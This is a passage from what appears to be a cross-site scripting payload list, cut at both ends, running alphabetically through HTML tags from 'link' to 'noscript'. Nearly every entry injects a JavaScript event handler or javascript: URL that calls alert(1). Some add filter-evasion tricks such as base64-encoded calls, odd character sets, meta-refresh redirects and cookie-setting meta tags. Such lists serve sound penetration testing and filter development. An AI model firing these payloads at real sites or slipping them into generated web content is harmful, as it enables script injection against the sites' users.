onfocusin=alert(1) id=x tabindex=1 style=display:block> <link onfocusout=alert(1) tabindex=1 id=x></link><input autofocus> <link onkeydown="alert(1)" contenteditable>test</link> <link onkeypress="alert(1)" contenteditable>test</link> <link onkeyup="alert(1)" contenteditable>test</link> <link onmousedown="alert(1)">test</link> <link onmouseenter="alert(1)">test</link> <link onmouseleave="alert(1)">test</link> <link onmousemove="alert(1)">test</link> <link onmouseout="alert(1)">test</link> <link onmouseover="alert(1)">test</link> <link onmouseup="alert(1)">test</link> <link onpaste="alert(1)" contenteditable>test</link> <link onreadystatechange=alert(1) rel=stylesheet href=1> <link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from1${alert}3${window}2</script> <link rel="stylesheet" href="javascript:document.vulnerable=true;"> <link rel=import href="data:text/html,<script>alert(1)</script> <link rel=stylesheet href=1 onerror=alert(1)> <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d <li onbeforecopy="alert(1)" contenteditable>test</li> <li onbeforecut="alert(1)" contenteditable>test</li> <li onbeforepaste="alert(1)" contenteditable>test</li> <li onblur=alert(1) tabindex=1 id=x></li><input autofocus> <li onclick="alert(1)">test</li> <li oncontextmenu="alert(1)">test</li> <li oncopy="alert(1)" contenteditable>test</li> <li oncut="alert(1)" contenteditable>test</li> <li ondblclick="alert(1)">test</li> <li onfocusout=alert(1) tabindex=1 id=x></li><input autofocus> <li onkeydown="alert(1)" contenteditable>test</li> <li onkeypress="alert(1)" contenteditable>test</li> <li onkeyup="alert(1)" contenteditable>test</li> <li onmousedown="alert(1)">test</li> <li onmouseenter="alert(1)">test</li> <li onmouseleave="alert(1)">test</li> <li onmousemove="alert(1)">test</li> <li onmouseout="alert(1)">test</li> <li onmouseover="alert(1)">test</li> <li onmouseup="alert(1)">test</li> <li onpaste="alert(1)" contenteditable>test</li> <listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> <listing draggable="true" ondrag="alert(1)">test</listing> <listing draggable="true" ondragend="alert(1)">test</listing> <listing draggable="true" ondragenter="alert(1)">test</listing> <listing draggable="true" ondragleave="alert(1)">test</listing> <listing draggable="true" ondragstart="alert(1)">test</listing> <listing id=x tabindex=1 onactivate=alert(1)></listing> <listing id=x tabindex=1 onbeforeactivate=alert(1)></listing> <listing id=x tabindex=1 onbeforedeactivate=alert(1)></listing><input autofocus> <listing id=x tabindex=1 ondeactivate=alert(1)></listing><input id=y autofocus> <listing id=x tabindex=1 onfocus=alert(1)></listing> <listing id=x tabindex=1 onfocusin=alert(1)></listing> <listing onbeforecopy="alert(1)" contenteditable>test</listing> <listing onbeforecut="alert(1)" contenteditable>test</listing> <listing onbeforepaste="alert(1)" contenteditable>test</listing> <listing onblur=alert(1) tabindex=1 id=x></listing><input autofocus> <listing onclick="alert(1)">test</listing> <listing oncontextmenu="alert(1)">test</listing> <listing oncopy="alert(1)" contenteditable>test</listing> <listing oncut="alert(1)" contenteditable>test</listing> <listing ondblclick="alert(1)">test</listing> <listing onfocusout=alert(1) tabindex=1 id=x></listing><input autofocus> <listing onkeydown="alert(1)" contenteditable>test</listing> <listing onkeypress="alert(1)" contenteditable>test</listing> <listing onkeyup="alert(1)" contenteditable>test</listing> <listing onmousedown="alert(1)">test</listing> <listing onmouseenter="alert(1)">test</listing> <listing onmouseleave="alert(1)">test</listing> <listing onmousemove="alert(1)">test</listing> <listing onmouseout="alert(1)">test</listing> <listing onmouseover="alert(1)">test</listing> <listing onmouseup="alert(1)">test</listing> <listing onpaste="alert(1)" contenteditable>test</listing> <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> <maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> <main draggable="true" ondrag="alert(1)">test</main> <main draggable="true" ondragend="alert(1)">test</main> <main draggable="true" ondragenter="alert(1)">test</main> <main draggable="true" ondragleave="alert(1)">test</main> <main draggable="true" ondragstart="alert(1)">test</main> <main id=x tabindex=1 onactivate=alert(1)></main> <main id=x tabindex=1 onbeforeactivate=alert(1)></main> <main id=x tabindex=1 onbeforedeactivate=alert(1)></main><input autofocus> <main id=x tabindex=1 ondeactivate=alert(1)></main><input id=y autofocus> <main id=x tabindex=1 onfocus=alert(1)></main> <main id=x tabindex=1 onfocusin=alert(1)></main> <main onbeforecopy="alert(1)" contenteditable>test</main> <main onbeforecut="alert(1)" contenteditable>test</main> <main onbeforepaste="alert(1)" contenteditable>test</main> <main onblur=alert(1) tabindex=1 id=x></main><input autofocus> <main onclick="alert(1)">test</main> <main oncontextmenu="alert(1)">test</main> <main oncopy="alert(1)" contenteditable>test</main> <main oncut="alert(1)" contenteditable>test</main> <main ondblclick="alert(1)">test</main> <main onfocusout=alert(1) tabindex=1 id=x></main><input autofocus> <main onkeydown="alert(1)" contenteditable>test</main> <main onkeypress="alert(1)" contenteditable>test</main> <main onkeyup="alert(1)" contenteditable>test</main> <main onmousedown="alert(1)">test</main> <main onmouseenter="alert(1)">test</main> <main onmouseleave="alert(1)">test</main> <main onmousemove="alert(1)">test</main> <main onmouseout="alert(1)">test</main> <main onmouseover="alert(1)">test</main> <main onmouseup="alert(1)">test</main> <main onpaste="alert(1)" contenteditable>test</main> <map draggable="true" ondrag="alert(1)">test</map> <map draggable="true" ondragend="alert(1)">test</map> <map draggable="true" ondragenter="alert(1)">test</map> <map draggable="true" ondragleave="alert(1)">test</map> <map draggable="true" ondragstart="alert(1)">test</map> <map id=x tabindex=1 onactivate=alert(1)></map> <map id=x tabindex=1 onbeforeactivate=alert(1)></map> <map id=x tabindex=1 onbeforedeactivate=alert(1)></map><input autofocus> <map id=x tabindex=1 ondeactivate=alert(1)></map><input id=y autofocus> <map id=x tabindex=1 onfocus=alert(1)></map> <map id=x tabindex=1 onfocusin=alert(1)></map> <map onbeforecopy="alert(1)" contenteditable>test</map> <map onbeforecut="alert(1)" contenteditable>test</map> <map onbeforepaste="alert(1)" contenteditable>test</map> <map onblur=alert(1) tabindex=1 id=x></map><input autofocus> <map onclick="alert(1)">test</map> <map oncontextmenu="alert(1)">test</map> <map oncopy="alert(1)" contenteditable>test</map> <map oncut="alert(1)" contenteditable>test</map> <map ondblclick="alert(1)">test</map> <map onfocusout=alert(1) tabindex=1 id=x></map><input autofocus> <map onkeydown="alert(1)" contenteditable>test</map> <map onkeypress="alert(1)" contenteditable>test</map> <map onkeyup="alert(1)" contenteditable>test</map> <map onmousedown="alert(1)">test</map> <map onmouseenter="alert(1)">test</map> <map onmouseleave="alert(1)">test</map> <map onmousemove="alert(1)">test</map> <map onmouseout="alert(1)">test</map> <map onmouseover="alert(1)">test</map> <map onmouseup="alert(1)">test</map> <map onpaste="alert(1)" contenteditable>test</map> <mark draggable="true" ondrag="alert(1)">test</mark> <mark draggable="true" ondragend="alert(1)">test</mark> <mark draggable="true" ondragenter="alert(1)">test</mark> <mark draggable="true" ondragleave="alert(1)">test</mark> <mark draggable="true" ondragstart="alert(1)">test</mark> <mark id=x tabindex=1 onactivate=alert(1)></mark> <mark id=x tabindex=1 onbeforeactivate=alert(1)></mark> <mark id=x tabindex=1 onbeforedeactivate=alert(1)></mark><input autofocus> <mark id=x tabindex=1 ondeactivate=alert(1)></mark><input id=y autofocus> <mark id=x tabindex=1 onfocus=alert(1)></mark> <mark id=x tabindex=1 onfocusin=alert(1)></mark> <mark onbeforecopy="alert(1)" contenteditable>test</mark> <mark onbeforecut="alert(1)" contenteditable>test</mark> <mark onbeforepaste="alert(1)" contenteditable>test</mark> <mark onblur=alert(1) tabindex=1 id=x></mark><input autofocus> <mark onclick="alert(1)">test</mark> <mark oncontextmenu="alert(1)">test</mark> <mark oncopy="alert(1)" contenteditable>test</mark> <mark oncut="alert(1)" contenteditable>test</mark> <mark ondblclick="alert(1)">test</mark> <mark onfocusout=alert(1) tabindex=1 id=x></mark><input autofocus> <mark onkeydown="alert(1)" contenteditable>test</mark> <mark onkeypress="alert(1)" contenteditable>test</mark> <mark onkeyup="alert(1)" contenteditable>test</mark> <mark onmousedown="alert(1)">test</mark> <mark onmouseenter="alert(1)">test</mark> <mark onmouseleave="alert(1)">test</mark> <mark onmousemove="alert(1)">test</mark> <mark onmouseout="alert(1)">test</mark> <mark onmouseover="alert(1)">test</mark> <mark onmouseup="alert(1)">test</mark> <mark onpaste="alert(1)" contenteditable>test</mark> <marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'> <marquee/onstart=alert()> <marquee/onstart=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))> <marquee><script>alert('XSS')</script></marquee> <marquee draggable="true" ondrag="alert(1)">test</marquee> <marquee draggable="true" ondragend="alert(1)">test</marquee> <marquee draggable="true" ondragenter="alert(1)">test</marquee> <marquee draggable="true" ondragleave="alert(1)">test</marquee> <marquee draggable="true" ondragstart="alert(1)">test</marquee> <marquee id=x tabindex=1 onactivate=alert(1)></marquee> <marquee id=x tabindex=1 onbeforeactivate=alert(1)></marquee> <marquee id=x tabindex=1 onbeforedeactivate=alert(1)></marquee><input autofocus> <marquee id=x tabindex=1 ondeactivate=alert(1)></marquee><input id=y autofocus> <marquee id=x tabindex=1 onfocus=alert(1)></marquee> <marquee id=x tabindex=1 onfocusin=alert(1)></marquee> <marquee loop=1 width=0 onfinish=alert(1)> <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> <marquee onbeforecopy="alert(1)" contenteditable>test</marquee> <marquee onbeforecut="alert(1)" contenteditable>test</marquee> <marquee onbeforepaste="alert(1)" contenteditable>test</marquee> <marquee onblur=alert(1) tabindex=1 id=x></marquee><input autofocus> <marquee onclick="alert(1)">test</marquee> <marquee oncontextmenu="alert(1)">test</marquee> <marquee oncopy="alert(1)" contenteditable>test</marquee> <marquee oncut="alert(1)" contenteditable>test</marquee> <marquee ondblclick="alert(1)">test</marquee> <marquee onfocusout=alert(1) tabindex=1 id=x></marquee><input autofocus> <marquee onkeydown="alert(1)" contenteditable>test</marquee> <marquee onkeypress="alert(1)" contenteditable>test</marquee> <marquee onkeyup="alert(1)" contenteditable>test</marquee> <marquee onmousedown="alert(1)">test</marquee> <marquee onmouseenter="alert(1)">test</marquee> <marquee onmouseleave="alert(1)">test</marquee> <marquee onmousemove="alert(1)">test</marquee> <marquee onmouseout="alert(1)">test</marquee> <marquee onmouseover="alert(1)">test</marquee> <marquee onmouseup="alert(1)">test</marquee> <marquee onpaste="alert(1)" contenteditable>test</marquee> <marquee onstart='javascript:alert(1)'>^__^ <marquee onstart='javascript:alert('1');'>=(◕_◕)= <marquee onstart=alert(1)> <marquee onstart=alert(1)>XSS</marquee> <marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee> <marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee> <math> <math><a xlink:href="//jsfiddle.net/t846h/">click <math><brute href=javascript:alert(1)>click <math><brute xlink:href=javascript:alert(1)>click <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> <menu draggable="true" ondrag="alert(1)">test</menu> <menu draggable="true" ondragend="alert(1)">test</menu> <menu draggable="true" ondragenter="alert(1)">test</menu> <menu draggable="true" ondragleave="alert(1)">test</menu> <menu draggable="true" ondragstart="alert(1)">test</menu> <menu id=x contextmenu=x onshow=alert(1)>right click me! <menu id=x tabindex=1 onactivate=alert(1)></menu> <menu id=x tabindex=1 onbeforeactivate=alert(1)></menu> <menu id=x tabindex=1 onbeforedeactivate=alert(1)></menu><input autofocus> <menu id=x tabindex=1 ondeactivate=alert(1)></menu><input id=y autofocus> <menu id=x tabindex=1 onfocus=alert(1)></menu> <menu id=x tabindex=1 onfocusin=alert(1)></menu> <menuitem draggable="true" ondrag="alert(1)">test</menuitem> <menuitem draggable="true" ondragend="alert(1)">test</menuitem> <menuitem draggable="true" ondragenter="alert(1)">test</menuitem> <menuitem draggable="true" ondragleave="alert(1)">test</menuitem> <menuitem draggable="true" ondragstart="alert(1)">test</menuitem> <menuitem id=x tabindex=1 onactivate=alert(1)></menuitem> <menuitem id=x tabindex=1 onbeforeactivate=alert(1)></menuitem> <menuitem id=x tabindex=1 onbeforedeactivate=alert(1)></menuitem><input autofocus> <menuitem id=x tabindex=1 ondeactivate=alert(1)></menuitem><input id=y autofocus> <menuitem id=x tabindex=1 onfocus=alert(1)></menuitem> <menuitem id=x tabindex=1 onfocusin=alert(1)></menuitem> <menuitem onbeforecopy="alert(1)" contenteditable>test</menuitem> <menuitem onbeforecut="alert(1)" contenteditable>test</menuitem> <menuitem onbeforepaste="alert(1)" contenteditable>test</menuitem> <menuitem onblur=alert(1) tabindex=1 id=x></menuitem><input autofocus> <menuitem onclick="alert(1)">test</menuitem> <menuitem oncontextmenu="alert(1)">test</menuitem> <menuitem oncopy="alert(1)" contenteditable>test</menuitem> <menuitem oncut="alert(1)" contenteditable>test</menuitem> <menuitem ondblclick="alert(1)">test</menuitem> <menuitem onfocusout=alert(1) tabindex=1 id=x></menuitem><input autofocus> <menuitem onkeydown="alert(1)" contenteditable>test</menuitem> <menuitem onkeypress="alert(1)" contenteditable>test</menuitem> <menuitem onkeyup="alert(1)" contenteditable>test</menuitem> <menuitem onmousedown="alert(1)">test</menuitem> <menuitem onmouseenter="alert(1)">test</menuitem> <menuitem onmouseleave="alert(1)">test</menuitem> <menuitem onmousemove="alert(1)">test</menuitem> <menuitem onmouseout="alert(1)">test</menuitem> <menuitem onmouseover="alert(1)">test</menuitem> <menuitem onmouseup="alert(1)">test</menuitem> <menuitem onpaste="alert(1)" contenteditable>test</menuitem> <menu onbeforecopy="alert(1)" contenteditable>test</menu> <menu onbeforecut="alert(1)" contenteditable>test</menu> <menu onbeforepaste="alert(1)" contenteditable>test</menu> <menu onblur=alert(1) tabindex=1 id=x></menu><input autofocus> <menu onclick="alert(1)">test</menu> <menu oncontextmenu="alert(1)">test</menu> <menu oncopy="alert(1)" contenteditable>test</menu> <menu oncut="alert(1)" contenteditable>test</menu> <menu ondblclick="alert(1)">test</menu> <menu onfocusout=alert(1) tabindex=1 id=x></menu><input autofocus> <menu onkeydown="alert(1)" contenteditable>test</menu> <menu onkeypress="alert(1)" contenteditable>test</menu> <menu onkeyup="alert(1)" contenteditable>test</menu> <menu onmousedown="alert(1)">test</menu> <menu onmouseenter="alert(1)">test</menu> <menu onmouseleave="alert(1)">test</menu> <menu onmousemove="alert(1)">test</menu> <menu onmouseout="alert(1)">test</menu> <menu onmouseover="alert(1)">test</menu> <menu onmouseup="alert(1)">test</menu> <menu onpaste="alert(1)" contenteditable>test</menu> <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet"> <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>"> <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;"> <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;"> <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&> <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi <meta content=" 1 ; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <meta draggable="true" ondrag="alert(1)">test</meta> <meta draggable="true" ondragend="alert(1)">test</meta> <meta draggable="true" ondragenter="alert(1)">test</meta> <meta draggable="true" ondragleave="alert(1)">test</meta> <meta draggable="true" ondragstart="alert(1)">test</meta> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <meta http-equiv="refresh" content="0;javascript:alert(1)"/>? <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;"> <meta id=x tabindex=1 onactivate=alert(1)></meta> <meta id=x tabindex=1 onbeforeactivate=alert(1)></meta> <meta id=x tabindex=1 onbeforedeactivate=alert(1)></meta><input autofocus> <meta id=x tabindex=1 ondeactivate=alert(1)></meta><input id=y autofocus> <meta id=x tabindex=1 onfocus=alert(1)></meta> <meta id=x tabindex=1 onfocusin=alert(1)></meta> <meta onbeforecopy="alert(1)" contenteditable>test</meta> <meta onbeforecut="alert(1)" contenteditable>test</meta> <meta onbeforepaste="alert(1)" contenteditable>test</meta> <meta onblur=alert(1) tabindex=1 id=x></meta><input autofocus> <meta onclick="alert(1)">test</meta> <meta oncontextmenu="alert(1)">test</meta> <meta oncopy="alert(1)" contenteditable>test</meta> <meta oncut="alert(1)" contenteditable>test</meta> <meta ondblclick="alert(1)">test</meta> <meta onfocusout=alert(1) tabindex=1 id=x></meta><input autofocus> <meta onkeydown="alert(1)" contenteditable>test</meta> <meta onkeypress="alert(1)" contenteditable>test</meta> <meta onkeyup="alert(1)" contenteditable>test</meta> <meta onmousedown="alert(1)">test</meta> <meta onmouseenter="alert(1)">test</meta> <meta onmouseleave="alert(1)">test</meta> <meta onmousemove="alert(1)">test</meta> <meta onmouseout="alert(1)">test</meta> <meta onmouseover="alert(1)">test</meta> <meta onmouseup="alert(1)">test</meta> <meta onpaste="alert(1)" contenteditable>test</meta> <meter draggable="true" ondrag="alert(1)">test</meter> <meter draggable="true" ondragend="alert(1)">test</meter> <meter draggable="true" ondragenter="alert(1)">test</meter> <meter draggable="true" ondragleave="alert(1)">test</meter> <meter draggable="true" ondragstart="alert(1)">test</meter> <meter id=x tabindex=1 onactivate=alert(1)></meter> <meter id=x tabindex=1 onbeforeactivate=alert(1)></meter> <meter id=x tabindex=1 onbeforedeactivate=alert(1)></meter><input autofocus> <meter id=x tabindex=1 ondeactivate=alert(1)></meter><input id=y autofocus> <meter id=x tabindex=1 onfocus=alert(1)></meter> <meter id=x tabindex=1 onfocusin=alert(1)></meter> <meter onbeforecopy="alert(1)" contenteditable>test</meter> <meter onbeforecut="alert(1)" contenteditable>test</meter> <meter onbeforepaste="alert(1)" contenteditable>test</meter> <meter onblur=alert(1) tabindex=1 id=x></meter><input autofocus> <meter onclick="alert(1)">test</meter> <meter oncontextmenu="alert(1)">test</meter> <meter oncopy="alert(1)" contenteditable>test</meter> <meter oncut="alert(1)" contenteditable>test</meter> <meter ondblclick="alert(1)">test</meter> <meter onfocusout=alert(1) tabindex=1 id=x></meter><input autofocus> <meter onkeydown="alert(1)" contenteditable>test</meter> <meter onkeypress="alert(1)" contenteditable>test</meter> <meter onkeyup="alert(1)" contenteditable>test</meter> <meter onmousedown="alert(1)">test</meter> <meter onmouseenter="alert(1)">test</meter> <meter onmouseleave="alert(1)">test</meter> <meter onmousemove="alert(1)">test</meter> <meter onmouseout="alert(1)">test</meter> <meter onmouseover="alert(1)">test</meter> <meter onmouseup="alert(1)">test</meter> <meter onpaste="alert(1)" contenteditable>test</meter> <multicol draggable="true" ondrag="alert(1)">test</multicol> <multicol draggable="true" ondragend="alert(1)">test</multicol> <multicol draggable="true" ondragenter="alert(1)">test</multicol> <multicol draggable="true" ondragleave="alert(1)">test</multicol> <multicol draggable="true" ondragstart="alert(1)">test</multicol> <multicol id=x tabindex=1 onactivate=alert(1)></multicol> <multicol id=x tabindex=1 onbeforeactivate=alert(1)></multicol> <multicol id=x tabindex=1 onbeforedeactivate=alert(1)></multicol><input autofocus> <multicol id=x tabindex=1 ondeactivate=alert(1)></multicol><input id=y autofocus> <multicol id=x tabindex=1 onfocus=alert(1)></multicol> <multicol id=x tabindex=1 onfocusin=alert(1)></multicol> <multicol onbeforecopy="alert(1)" contenteditable>test</multicol> <multicol onbeforecut="alert(1)" contenteditable>test</multicol> <multicol onbeforepaste="alert(1)" contenteditable>test</multicol> <multicol onblur=alert(1) tabindex=1 id=x></multicol><input autofocus> <multicol onclick="alert(1)">test</multicol> <multicol oncontextmenu="alert(1)">test</multicol> <multicol oncopy="alert(1)" contenteditable>test</multicol> <multicol oncut="alert(1)" contenteditable>test</multicol> <multicol ondblclick="alert(1)">test</multicol> <multicol onfocusout=alert(1) tabindex=1 id=x></multicol><input autofocus> <multicol onkeydown="alert(1)" contenteditable>test</multicol> <multicol onkeypress="alert(1)" contenteditable>test</multicol> <multicol onkeyup="alert(1)" contenteditable>test</multicol> <multicol onmousedown="alert(1)">test</multicol> <multicol onmouseenter="alert(1)">test</multicol> <multicol onmouseleave="alert(1)">test</multicol> <multicol onmousemove="alert(1)">test</multicol> <multicol onmouseout="alert(1)">test</multicol> <multicol onmouseover="alert(1)">test</multicol> <multicol onmouseup="alert(1)">test</multicol> <multicol onpaste="alert(1)" contenteditable>test</multicol> <nav draggable="true" ondrag="alert(1)">test</nav> <nav draggable="true" ondragend="alert(1)">test</nav> <nav draggable="true" ondragenter="alert(1)">test</nav> <nav draggable="true" ondragleave="alert(1)">test</nav> <nav draggable="true" ondragstart="alert(1)">test</nav> <nav id=x tabindex=1 onactivate=alert(1)></nav> <nav id=x tabindex=1 onbeforeactivate=alert(1)></nav> <nav id=x tabindex=1 onbeforedeactivate=alert(1)></nav><input autofocus> <nav id=x tabindex=1 ondeactivate=alert(1)></nav><input id=y autofocus> <nav id=x tabindex=1 onfocus=alert(1)></nav> <nav id=x tabindex=1 onfocusin=alert(1)></nav> <nav onbeforecopy="alert(1)" contenteditable>test</nav> <nav onbeforecut="alert(1)" contenteditable>test</nav> <nav onbeforepaste="alert(1)" contenteditable>test</nav> <nav onblur=alert(1) tabindex=1 id=x></nav><input autofocus> <nav onclick="alert(1)">test</nav> <nav oncontextmenu="alert(1)">test</nav> <nav oncopy="alert(1)" contenteditable>test</nav> <nav oncut="alert(1)" contenteditable>test</nav> <nav ondblclick="alert(1)">test</nav> <nav onfocusout=alert(1) tabindex=1 id=x></nav><input autofocus> <nav onkeydown="alert(1)" contenteditable>test</nav> <nav onkeypress="alert(1)" contenteditable>test</nav> <nav onkeyup="alert(1)" contenteditable>test</nav> <nav onmousedown="alert(1)">test</nav> <nav onmouseenter="alert(1)">test</nav> <nav onmouseleave="alert(1)">test</nav> <nav onmousemove="alert(1)">test</nav> <nav onmouseout="alert(1)">test</nav> <nav onmouseover="alert(1)">test</nav> <nav onmouseup="alert(1)">test</nav> <nav onpaste="alert(1)" contenteditable>test</nav> <nextid draggable="true" ondrag="alert(1)">test</nextid> <nextid draggable="true" ondragend="alert(1)">test</nextid> <nextid draggable="true" ondragenter="alert(1)">test</nextid> <nextid draggable="true" ondragleave="alert(1)">test</nextid> <nextid draggable="true" ondragstart="alert(1)">test</nextid> <nextid id=x tabindex=1 onactivate=alert(1)></nextid> <nextid id=x tabindex=1 onbeforeactivate=alert(1)></nextid> <nextid id=x tabindex=1 onbeforedeactivate=alert(1)></nextid><input autofocus> <nextid id=x tabindex=1 ondeactivate=alert(1)></nextid><input id=y autofocus> <nextid id=x tabindex=1 onfocus=alert(1)></nextid> <nextid id=x tabindex=1 onfocusin=alert(1)></nextid> <nextid onbeforecopy="alert(1)" contenteditable>test</nextid> <nextid onbeforecut="alert(1)" contenteditable>test</nextid> <nextid onbeforepaste="alert(1)" contenteditable>test</nextid> <nextid onblur=alert(1) tabindex=1 id=x></nextid><input autofocus> <nextid onclick="alert(1)">test</nextid> <nextid oncontextmenu="alert(1)">test</nextid> <nextid oncopy="alert(1)" contenteditable>test</nextid> <nextid oncut="alert(1)" contenteditable>test</nextid> <nextid ondblclick="alert(1)">test</nextid> <nextid onfocusout=alert(1) tabindex=1 id=x></nextid><input autofocus> <nextid onkeydown="alert(1)" contenteditable>test</nextid> <nextid onkeypress="alert(1)" contenteditable>test</nextid> <nextid onkeyup="alert(1)" contenteditable>test</nextid> <nextid onmousedown="alert(1)">test</nextid> <nextid onmouseenter="alert(1)">test</nextid> <nextid onmouseleave="alert(1)">test</nextid> <nextid onmousemove="alert(1)">test</nextid> <nextid onmouseout="alert(1)">test</nextid> <nextid onmouseover="alert(1)">test</nextid> <nextid onmouseup="alert(1)">test</nextid> <nextid onpaste="alert(1)" contenteditable>test</nextid> <nobr draggable="true" ondrag="alert(1)">test</nobr> <nobr draggable="true" ondragend="alert(1)">test</nobr> <nobr draggable="true" ondragenter="alert(1)">test</nobr> <nobr draggable="true" ondragleave="alert(1)">test</nobr> <nobr draggable="true" ondragstart="alert(1)">test</nobr> <nobr id=x tabindex=1 onactivate=alert(1)></nobr> <nobr id=x tabindex=1 onbeforeactivate=alert(1)></nobr> <nobr id=x tabindex=1 onbeforedeactivate=alert(1)></nobr><input autofocus> <nobr id=x tabindex=1 ondeactivate=alert(1)></nobr><input id=y autofocus> <nobr id=x tabindex=1 onfocus=alert(1)></nobr> <nobr id=x tabindex=1 onfocusin=alert(1)></nobr> <nobr onbeforecopy="alert(1)" contenteditable>test</nobr> <nobr onbeforecut="alert(1)" contenteditable>test</nobr> <nobr onbeforepaste="alert(1)" contenteditable>test</nobr> <nobr onblur=alert(1) tabindex=1 id=x></nobr><input autofocus> <nobr onclick="alert(1)">test</nobr> <nobr oncontextmenu="alert(1)">test</nobr> <nobr oncopy="alert(1)" contenteditable>test</nobr> <nobr oncut="alert(1)" contenteditable>test</nobr> <nobr ondblclick="alert(1)">test</nobr> <nobr onfocusout=alert(1) tabindex=1 id=x></nobr><input autofocus> <nobr onkeydown="alert(1)" contenteditable>test</nobr> <nobr onkeypress="alert(1)" contenteditable>test</nobr> <nobr onkeyup="alert(1)" contenteditable>test</nobr> <nobr onmousedown="alert(1)">test</nobr> <nobr onmouseenter="alert(1)">test</nobr> <nobr onmouseleave="alert(1)">test</nobr> <nobr onmousemove="alert(1)">test</nobr> <nobr onmouseout="alert(1)">test</nobr> <nobr onmouseover="alert(1)">test</nobr> <nobr onmouseup="alert(1)">test</nobr> <nobr onpaste="alert(1)" contenteditable>test</nobr> <noembed draggable="true" ondrag="alert(1)">test</noembed> <noembed draggable="true" ondragend="alert(1)">test</noembed> <noembed draggable="true" ondragenter="alert(1)">test</noembed> <noembed draggable="true" ondragleave="alert(1)">test</noembed> <noembed draggable="true" ondragstart="alert(1)">test</noembed> <noembed id=x tabindex=1 onactivate=alert(1)></noembed> <noembed id=x tabindex=1 onbeforeactivate=alert(1)></noembed> <noembed id=x tabindex=1 onbeforedeactivate=alert(1)></noembed><input autofocus> <noembed id=x tabindex=1 ondeactivate=alert(1)></noembed><input id=y autofocus> <noembed id=x tabindex=1 onfocus=alert(1)></noembed> <noembed id=x tabindex=1 onfocusin=alert(1)></noembed> <noembed onbeforecopy="alert(1)" contenteditable>test</noembed> <noembed onbeforecut="alert(1)" contenteditable>test</noembed> <noembed onbeforepaste="alert(1)" contenteditable>test</noembed> <noembed onblur=alert(1) tabindex=1 id=x></noembed><input autofocus> <noembed onclick="alert(1)">test</noembed> <noembed oncontextmenu="alert(1)">test</noembed> <noembed oncopy="alert(1)" contenteditable>test</noembed> <noembed oncut="alert(1)" contenteditable>test</noembed> <noembed ondblclick="alert(1)">test</noembed> <noembed onfocusout=alert(1) tabindex=1 id=x></noembed><input autofocus> <noembed onkeydown="alert(1)" contenteditable>test</noembed> <noembed onkeypress="alert(1)" contenteditable>test</noembed> <noembed onkeyup="alert(1)" contenteditable>test</noembed> <noembed onmousedown="alert(1)">test</noembed> <noembed onmouseenter="alert(1)">test</noembed> <noembed onmouseleave="alert(1)">test</noembed> <noembed onmousemove="alert(1)">test</noembed> <noembed onmouseout="alert(1)">test</noembed> <noembed onmouseover="alert(1)">test</noembed> <noembed onmouseup="alert(1)">test</noembed> <noembed onpaste="alert(1)" contenteditable>test</noembed> <noframes draggable="true" ondrag="alert(1)">test</noframes> <noframes draggable="true" ondragend="alert(1)">test</noframes> <noframes draggable="true" ondragenter="alert(1)">test</noframes> <noframes draggable="true" ondragleave="alert(1)">test</noframes> <noframes draggable="true" ondragstart="alert(1)">test</noframes> <noframes id=x tabindex=1 onactivate=alert(1)></noframes> <noframes id=x tabindex=1 onbeforeactivate=alert(1)></noframes> <noframes id=x tabindex=1 onbeforedeactivate=alert(1)></noframes><input autofocus> <noframes id=x tabindex=1 ondeactivate=alert(1)></noframes><input id=y autofocus> <noframes id=x tabindex=1 onfocus=alert(1)></noframes> <noframes id=x tabindex=1 onfocusin=alert(1)></noframes> <noframes onbeforecopy="alert(1)" contenteditable>test</noframes> <noframes onbeforecut="alert(1)" contenteditable>test</noframes> <noframes onbeforepaste="alert(1)" contenteditable>test</noframes> <noframes onblur=alert(1) tabindex=1 id=x></noframes><input autofocus> <noframes onclick="alert(1)">test</noframes> <noframes oncontextmenu="alert(1)">test</noframes> <noframes oncopy="alert(1)" contenteditable>test</noframes> <noframes oncut="alert(1)" contenteditable>test</noframes> <noframes ondblclick="alert(1)">test</noframes> <noframes onfocusout=alert(1) tabindex=1 id=x></noframes><input autofocus> <noframes onkeydown="alert(1)" contenteditable>test</noframes> <noframes onkeypress="alert(1)" contenteditable>test</noframes> <noframes onkeyup="alert(1)" contenteditable>test</noframes> <noframes onmousedown="alert(1)">test</noframes> <noframes onmouseenter="alert(1)">test</noframes> <noframes onmouseleave="alert(1)">test</noframes> <noframes onmousemove="alert(1)">test</noframes> <noframes onmouseout="alert(1)">test</noframes> <noframes onmouseover="alert(1)">test</noframes> <noframes onmouseup="alert(1)">test</noframes> <noframes onpaste="alert(1)" contenteditable>test</noframes> <noscript draggable="true" 